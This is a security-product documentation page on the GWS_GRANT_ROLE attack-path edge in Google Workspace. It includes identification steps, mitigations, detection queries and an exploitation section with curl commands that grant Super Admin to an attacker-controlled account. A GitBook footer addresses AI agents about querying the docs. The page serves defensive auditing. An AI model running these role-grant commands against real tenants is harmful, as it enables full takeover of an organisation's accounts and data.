> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/gcp/gws_grant_role.md).

# GWS\_GRANT\_ROLE

## Summary

|                            |                              |
| -------------------------- | ---------------------------- |
| **FSProtect ACL Alias**    | GWS\_GRANT\_ROLE             |
| **GCP Alias**              | IAM & Hierarchy Control      |
| **Affected Object Types**  | Users                        |
| **Exploitation Certainty** | Certain                      |
| **Granting Roles**         | Google Workspace Super Admin |

## Description

`GWS_GRANT_ROLE` indicates that a Google Workspace identity can assign admin roles to other users in the Google Workspace directory. Admin roles in Google Workspace grant access to the Admin Console, Google Workspace APIs, and can control user accounts, groups, devices, and organizational settings.

An attacker with this edge can escalate privileges by granting a Super Admin role (or any other privileged role) to an attacker-controlled account, effectively taking full control of the Workspace organization.

**Key abuse scenarios:**

* Grant Super Admin to an attacker-controlled account → full control of the Workspace directory.
* Grant User Management Admin → ability to reset passwords and impersonate any non-admin user.
* Grant Groups Admin → modify group memberships that inherit GCP IAM roles via `GWS_IN_GROUP`.

## Identification

### GCP Console

1. Open **Google Admin Console** (`admin.google.com`) → **Account** → **Admin roles**.
2. Click `Super Admin` role → **Admins** tab to see who holds the role.

### gcloud CLI

```bash
# List all admin role assignments via Admin SDK Reports API (Access token should be authorized on scope: https://www.googleapis.com/auth/admin.reports.audit.readonly)
ACCESS_TOKEN="your-access-token"
curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://admin.googleapis.com/admin/reports/v1/activity/users/all/applications/admin?eventName=ASSIGN_ROLE" \
  | jq '.items[]?.events[].parameters'
```

## Exploitation

### gcloud CLI

```bash
# Access token should be authorized on scope: https://www.googleapis.com/auth/admin.directory.rolemanagement
ACCESS_TOKEN="your-access-token"

# List available admin roles and their IDs
curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roles" \
  | jq '.items[]? | {roleId: .roleId, roleName: .roleName}'

# Grant Super Admin to an attacker-controlled account
ATTACKER_EMAIL="attacker@example.com"
SUPER_ADMIN_ROLE_ID="54321"  # roleId for _SEED_ADMIN_ROLE (Super Admin)

# Resolve the attacker's userId
USER_ID=$(curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://admin.googleapis.com/admin/directory/v1/users/${ATTACKER_EMAIL}" \
  | jq -r '.id')

# Assign the Super Admin role
curl -s -X POST \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"roleId\": \"$SUPER_ADMIN_ROLE_ID\", \"assignedTo\": \"$USER_ID\", \"scopeType\": \"CUSTOMER\"}" \
  "https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roleassignments"
```

**Compound path:** `GWS_GRANT_ROLE` → grant Super Admin → [GWS\_RESET\_PASSWORD](https://docs.forestall.io/fsprotect/edges/gcp/gws_reset_password) on any user → account takeover → access Gmail, Drive, and all GCP resources the target user manages.

## Mitigation

1. **Restrict admin role assignment** to Super Admins only — prevent delegated admins from assigning roles above their own privilege level.
2. **Enforce phishing-resistant MFA (passkeys/security keys)** on all admin accounts.
3. **Use least-privilege admin roles** — avoid granting Super Admin when a more limited role suffices.
4. **Audit admin role assignments regularly** via Admin Console reports or the Admin SDK.

## Detection

| Log Type       | Method        | Key Fields                                 |
| -------------- | ------------- | ------------------------------------------ |
| Admin Activity | `ASSIGN_ROLE` | Admin audit log, `ROLE_NAME`, `USER_EMAIL` |

```bash
# Access token should be authorized on scope: https://www.googleapis.com/auth/admin.reports.audit.readonly
ACCESS_TOKEN="your-access-token"
curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://admin.googleapis.com/admin/reports/v1/activity/users/all/applications/admin?eventName=ASSIGN_ROLE" \
  | jq '.items[]? | {actor: .actor.email, time: .id.time, params: .events[].parameters}'
```

Alert on:

* New Super Admin role assignments.
* Admin role assignments made outside of change management workflows.
* Role assignments to accounts not in the organization's primary domain.

## References

* <https://knowledge.workspace.google.com/admin/users/create-edit-and-delete-custom-admin-roles>
* <https://developers.google.com/admin-sdk/directory/v1/guides/manage-roles>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/gcp/gws_grant_role.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.